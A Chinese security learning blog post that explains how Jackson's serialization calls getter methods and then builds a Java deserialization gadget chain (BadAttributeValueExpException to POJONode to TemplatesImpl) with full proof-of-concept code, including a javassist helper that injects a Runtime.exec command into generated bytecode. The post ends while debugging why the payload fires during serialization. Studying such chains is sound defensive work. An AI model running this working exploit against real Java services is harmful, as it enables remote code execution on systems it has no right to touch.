前言
之前学习了fastjson库的反序列化和原生反序列化触发任意类的getter方法,而jackson作为与之相似的另一个JSON库,自然也被发掘出存在相应的问题
关于jackson
在 Java 里,Jackson 是一个非常常用的 JSON 处理库,由 FasterXML 开发。主要作用是将java对象转化为JSON对象(序列化)以及将JSON对象转化为java对象(反序列化)
常用模块
- jackson-core:提供核心的流式 JSON 读写 API。
- jackson-databind:最常用,提供
ObjectMapper
,支持对象与 JSON 的互转。
- jackson-annotations:提供注解支持,比如
@JsonProperty
、@JsonIgnore
。
- *jackson-datatype- **:支持 Java 8 的时间类型、JodaTime、Guava 等扩展。
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>
|
然后我们来看看Jackson的基本用法
举个栗子
先写个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package SerializeChains.JacksonSer;
public class User { private String username; private String password; public User(){ System.out.println("调用了无参构造方法"); } public User(String username, String password){ System.out.println("调用了有参构造方法"); this.username = username; this.password = password; }
public String getUsername() { System.out.println("调用了 getUsername 方法"); return username; } public void setUsername(String username) { System.out.println("调用了 setUsername 方法"); this.username = username; } public String getPassword(){ System.out.println("调用了 getPassword 方法"); return password; } public void setPassword(String password) { System.out.println("调用了 setPassword 方法"); this.password = password; } }
|
然后写个Test测试类
1 2 3 4 5 6 7 8 9 10 11 12 13
| package SerializeChains.JacksonSer;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Test { public static void main(String[] args) throws Exception { User user = new User("wanth3f1ag","123456"); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json); User user2 = mapper.readValue(json, User.class); } }
|

可以看到在序列化的时候触发了getter方法和有参构造方法,在反序列化的时候触发了setter方法和无参构造方法
老规矩,看看序列化是如何触发getter的
Jackson的序列化如何触发getter
在writeValueAsString行代码处打上断点进行调试

函数调用栈大致是这样的

然后我们看几个关键的函数
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize方法

_objectIdWriter
是用于标记对象的处理ID,如果同一个对象在 JSON 中出现多次,可以用 "id"
引用,而不是重复展开整个对象。
跟进writeStartObject函数看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public void writeStartObject(Object forValue) throws IOException { this._verifyValueWrite("start an object"); JsonWriteContext ctxt = this._writeContext.createChildObjectContext(forValue); this._writeContext = ctxt; if (this._cfgPrettyPrinter != null) { this._cfgPrettyPrinter.writeStartObject(this); } else { if (this._outputTail >= this._outputEnd) { this._flushBuffer(); }
this._outputBuffer[this._outputTail++] = '{'; }
}
|
writeStartObject函数主要是写入{
字符并维护上下文的
返回serialize
1 2 3 4 5
| if (this._propertyFilterId != null) { this.serializeFieldsFiltered(bean, gen, provider); } else { this.serializeFields(bean, gen, provider); }
|
根据是否有过滤器调用serializeFieldsFiltered或serializeFields,serializeFieldsFiltered内部会检查每个字段是否允许写入 JSON,如果不允许就跳过。没有过滤器的化默认序列化所有字段
最后是调用writeEndObject方法写入}
字符
在com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields中

跟进serializeAsField方法

1
| Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
|
_accessorMethod
通常是 java.lang.reflect.Method
类型,用于表示某个 getter 方法。如果 _accessorMethod
是 null
,就说明没有可用的 getter 方法,需要直接访问字段 _field
。如果 _accessorMethod
不为 null
,说明可以通过 getter 方法来访问属性,也就是his._accessorMethod.invoke(bean, (Object[])null);
去触发
也就是这里会调用getter方法,如果继续跟进就会跳转到getter方法中

链子分析
TemplatesImpl链
既然是能触发getter方法,最经典的getter就是TemplatesImpl.getOutputProperties
方法。
看看哪里有调用到writeValueAsString
看到com.fasterxml.jackson.databind.node.BaseJsonNode#toString方法

跟进com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString方法

这不就是刚刚序列化用的writeValueAsString方法吗?
但是因为BaseJsonNode是抽象类,所以我们需要找一个子类并且这个子类并没有重写toString方法

最后找到POJONode类
该类的继承关系是:
1
| POJONode -> ValueNode -> BaseJsonNode
|
然后我们来找找哪里能调用到toString方法,这就又可以用原生链BadAttributeValueExpException触发toString了
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package SerializeChains.JacksonSer;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Poc1 { public static void main(String[] args) throws Exception { TemplatesImpl templates = (TemplatesImpl) initEvilTemplates();
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",pojoNode);
serialize(badAttributeValueExpException); unserialize("jacksonSerialize01.txt"); } public static TemplatesImpl initEvilTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class")); byte[] Foocode = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\Foo.class")); byte[][] codes = {code, Foocode};
setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","a"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates; } public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("jacksonSerialize01.txt")); oos.writeObject(object); oos.close(); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
优化一下,用infer师傅的函数写一个命令执行的class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package SerializeChains.JacksonSer;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Poc1 { public static void main(String[] args) throws Exception { TemplatesImpl templates = (TemplatesImpl) initEvilTemplates();
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",pojoNode);
serialize(badAttributeValueExpException); unserialize("jacksonSerialize01.txt"); } public static TemplatesImpl initEvilTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = getshortclass("calc"); byte[][] codes = {bytes};
setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","a"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates; } public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("jacksonSerialize01.txt")); oos.writeObject(object); oos.close(); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|

但是调试之后发现这计算器并非是反序列化的时候弹的而是在序列化的时候
在报错中发现
1
| Failed to JDK serialize `POJONode` value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
|

这是jackson在序列化java对象的时候尝试序列化 TemplatesImpl
的 outputProperties
字段时出现 NullPointerException